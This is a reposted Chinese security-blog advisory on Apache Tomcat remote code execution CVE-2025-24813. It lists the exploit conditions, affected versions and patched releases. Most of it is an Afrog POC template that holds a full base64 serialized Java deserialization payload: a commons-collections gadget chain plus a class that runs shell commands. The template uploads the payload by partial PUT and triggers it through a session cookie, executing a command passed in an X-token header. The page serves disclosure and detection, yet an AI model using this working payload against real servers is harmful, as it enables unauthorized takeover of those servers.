Tomcat远程代码执行漏洞CVE-2025-24813(附POC)

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2025年3月24日19:48:39评论47 views字数 14516阅读48分23秒阅读模式
简单介绍

Apache Tomcat 组件存在远程代码执行漏洞(CVE-2025-24813)，当应用程序DefaultServlet启用写入功能（默认情况下禁用）、使用 Tomcat默认会话持久机制和存储位置、依赖库存在反序列化利用链时，未授权攻击者能够执行恶意代码获取服务器权限。

利用条件

成功利用漏洞需要满足以下条件

● 应用程序启用了DefaultServlet写入功能（默认关闭）。

● 应用支持partial PUT请求（默认开启）。

● 应用使用了Tomcat的文件会话持久化且使用了默认的会话存储位置。

● 应用中包含存在反序列化漏洞的库，如commons-collections等。

漏洞影响范围
11.0.0-M1 <= Apache Tomcat <= 11.0.2
10.1.0-M1 <= Apache Tomcat <= 10.1.34
9.0.0.M1 <= Apache Tomcat <= 9.0.98
验证POC

Afrog验证POC：

id: CVE-2025-24813info:  name: Apache Tomcat远程代码执行漏洞CVE-2025-24813  author: qingchen  severity: high  verified: true  description: |    Apache Tomcat远程代码执行漏洞CVE-2025-24813    fofa：app="APACHE-Tomcat"  tags: rce  created: 2025/03/14set:  randint: randomInt(1000000, 9999999)  randstr: randomLowercase(32)  bodystr: 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EAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DAEEAQUKAAIBBgEAEWdldFNlcnZsZXRSZXF1ZXN0CAEIAQAxW29uZS1mb3ItYWxsLWVjaG9dIFt3ZWJsb2dpY10gZWNobyBoZWFkZXIgaXMgbnVsbAgBCgoAYwCIAQAtW29uZS1mb3ItYWxsLWVjaG9dIFt3ZWJsb2dpY10gZWNobyByZXN1bHQgLT4gCAENAQAWZ2V0U2VydmxldE91dHB1dFN0cmVhbQgBDwEAI3dlYmxvZ2ljLnhtbC51dGlsLlN0cmluZ0lucHV0U3RyZWFtCAERAQALd3JpdGVTdHJlYW0IARMBABNqYXZhL2lvL0lucHV0U3RyZWFtBwEVAQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwwBFwEYCgAvARkBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBGwEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA2wEdCgEcAR4BAAVmbHVzaAgBIAEACWdldFdyaXRlcggBIgEABXdyaXRlCAEkAQAACAEmAQAMdGhyZWFkTG9jYWxzCAEoAQAFdGFibGUIASoBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEsAQAFdmFsdWUIAS4BABNBc3luY0h0dHBDb25uZWN0aW9uCAEwAQAKZ2V0UmVxdWVzdAgBMgEADmdldFByaW50V3JpdGVyCAE0AQAFdXRmLTgIATYBABNqYXZhL2lvL1ByaW50V3JpdGVyBwE4CgE5AEIBAA5IdHRwQ29ubmVjdGlvbggBOwEADmdldEh0dHBDaGFubmVsCAE9DAEgAAsKATkBPwEABWNsb3NlDAFBAAsKATkBQgEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggBRAEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAFGAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwgBSAwBJABBCgE5AUoBABBnZXRNZXRob2RCeUNsYXNzAQBRKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQBXKExqYXZhL2xhbmcvQ2xhc3M8Kj47TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgC7AHIBAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAUwBTQoAAgFRAQASW0xqYXZhL2xhbmcvQ2xhc3M7BwFTAQAMcmVhZEFsbEJ5dGVzAQAZKExqYXZhL2lvL0lucHV0U3RyZWFtOylbQgEAE2phdmEvaW8vSU9FeGNlcHRpb24HAVcBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBWQoBWgAMAQAEcmVhZAEAByhbQklJKUkMAVwBXQoBFgFeAQAHKFtCSUkpVgwBJAFgCgFaAWEKAVoBPwEAC3RvQnl0ZUFycmF5DAFkAOYKAVoBZQEAB29zLm5hbWUIAWcBAAtnZXRQcm9wZXJ0eQwBaQDTCgA3AWoBAAt0b0xvd2VyQ2FzZQwBbAB7CgCNAW0BAAN3aW4IAW8BAAJzaAgBcQEAAi1jCAFzAQAHY21kLmV4ZQgBdQEAAi9jCAF3AQARamF2YS9sYW5nL1J1bnRpbWUHAXkBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAF7AXwKAXoBfQEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAIoBfwoBegGAAQARamF2YS9sYW5nL1Byb2Nlc3MHAYIBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07DAGEAYUKAYMBhgwBVQFWCgACAYgBAA5nZXRFcnJvclN0cmVhbQwBigGFCgGDAYsBAA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oAERkEtgGMOgcZB7gBiToGuwCNWRkGEwGOtwGRsEwrtgGUsAABAAAAgwCEACsAAQGdAAAANQAF/QAcAQcAjRpTBwGW/wArAAcHAI0BBwCNBwGWBwGDBwEWBwDhAAD/AAwAAQcAjQABBwArAAgBlwALAAEBnAAAAB4AAQAAAAAAEhMBmbMAwwOzADUDswAXuAGbsQAAAAAAAHB0ACQyMGVkZWQxNS1hNmUxLTRmODctYTMwNC05ZjgxZmE3MTA5MWVwdwEAeHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAlbAAtpUGFyYW1UeXBlc3EAfgAIeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAATZ2V0T3V0cHV0UHJvcGVydGllc3VyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4")rules:  r0:    request:      method: PUT      path: /{{randint}}/session      headers:        Content-Range: bytes 0-1000/1200      body: "{{bodystr}}"    expression: response.status == 409  r1:    request:      method: GET      path: /      headers:        Cookie: JSESSIONID=.{{randint}}        X-token: echo {{randstr}}    expression: response.status == 200 && response.body.bcontains(bytes(randstr))expression: r0() && r1()
可以正常扫到漏洞。
Tomcat远程代码执行漏洞CVE-2025-24813(附POC)
Tomcat远程代码执行漏洞CVE-2025-24813(附POC)
Tomcat远程代码执行漏洞CVE-2025-24813(附POC)

本文POC主要来自清晨师傅的文章：

原文链接：https://mp.weixin.qq.com/s/j4_jUSDa1v98xTKSK5GH4Q

修复建议

目前，Apache官方已发布修复该漏洞的新版本，建议用户尽快升级至以下版本：

● Apache Tomcat >= 11.0.3

● Apache Tomcat >= 10.1.35

● Apache Tomcat >= 9.0.99

官方补丁下载地址：

● https://tomcat.apache.org/security-11.html

● https://tomcat.apache.org/security-10.html

● https://tomcat.apache.org/security-9.html

原文始发于微信公众号（小白爱学习Sec）：Tomcat远程代码执行漏洞CVE-2025-24813(附POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
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  • 本文由 发表于 2025年3月24日19:48:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Tomcat远程代码执行漏洞CVE-2025-24813(附POC)https://cn-sec.com/archives/3875219.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

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